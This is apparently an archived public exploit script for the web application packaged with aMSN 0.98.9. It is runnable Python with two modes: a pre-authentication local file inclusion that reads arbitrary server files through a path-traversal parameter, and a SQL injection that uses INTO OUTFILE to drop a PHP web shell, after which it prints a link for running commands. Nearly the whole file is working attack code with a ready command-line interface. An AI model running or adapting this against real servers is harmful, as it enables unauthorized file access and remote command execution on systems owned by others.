/exploits/php/webapps/28960.py

# Exploit Title: aMSN LFI/SQLi

# Date: 10/09/2013

# Exploit author: drone (@dronesec)

# Vendor homepage: http://www.amsn-project.net

# Software link: sourceforge.net/projects/amsn/files/amsn/0.98.9/aMSN-0.98.9-tcl85-windows-installer.exe

# Version: 0.98.9

# Fixed in: SVN repositories (r12422)

# Tested on: Ubuntu 12.04 (apparmor disabled)



from argparse import ArgumentParser

import urllib2

import string

import random



"""

    Preauth LFI and SQLi in the web app packaged with aMSN 0.98.9

"""



def lfi(options):

    """ exploit the LFI

    """

    addr = 'http://{0}{1}/bugs/report.php?lang=../../../../../{2}'.format(\

                            options.ip, options.root, options.lfi)

    data = urllib2.urlopen(addr).read().rstrip().split("ERROR")[0]

    print data



def run(options):

    """ exploit lfi or sqli

    """

    if options.lfi:

        return lfi(options)



    shell = ''.join(random.choice(string.ascii_lowercase + string.digits) for x in range(5))

    sqli = 'http://{0}{1}/bugs/admin/index.php?show=bug&id='.format(options.ip, options.root)



    # ' UNION SELECT '<?php system($_GET['cmd']) ?>,2,3,4,5,6,7,8,9 INTO OUTFILE 'yourshell';-- -

    exploit = '1\'%20UNION%20SELECT%20\'<?php%20system($_GET[\\\'cmd\\\'])?>\',2,3,4,5,6,7,8,9%20'\

              'INTO%20OUTFILE%20\'{0}/{1}.php\';%20--%20-%20'.format(options.path,shell)



    urllib2.urlopen(sqli + exploit)

    print '[!] Shell dropped.  http://%s%s/%s.php?cmd=ls' % (options.ip, options.root, shell)



def parse_args():

    parser = ArgumentParser()

    parser.add_argument("-i", help='Server address', action='store', dest='ip', required=True)

    parser.add_argument('-l', help='Local file inclusion', action='store', dest='lfi',

                              metavar='[file]')

    parser.add_argument('-p', help='Path to amsn [/amsn]', action='store', dest='root',

                              default='/amsn')

    parser.add_argument('-w', help='Path to drop shell [/var/www/amsn', dest='path',

                              default='/var/www/amsn')



    options = parser.parse_args()

    options.path = options.path if options.path[-1] != '/' else options.path[:-1]

    options.root = options.root if options.root[-1] != '/' else options.root[:-1]

    return options



if __name__ == "__main__":

    run(parse_args())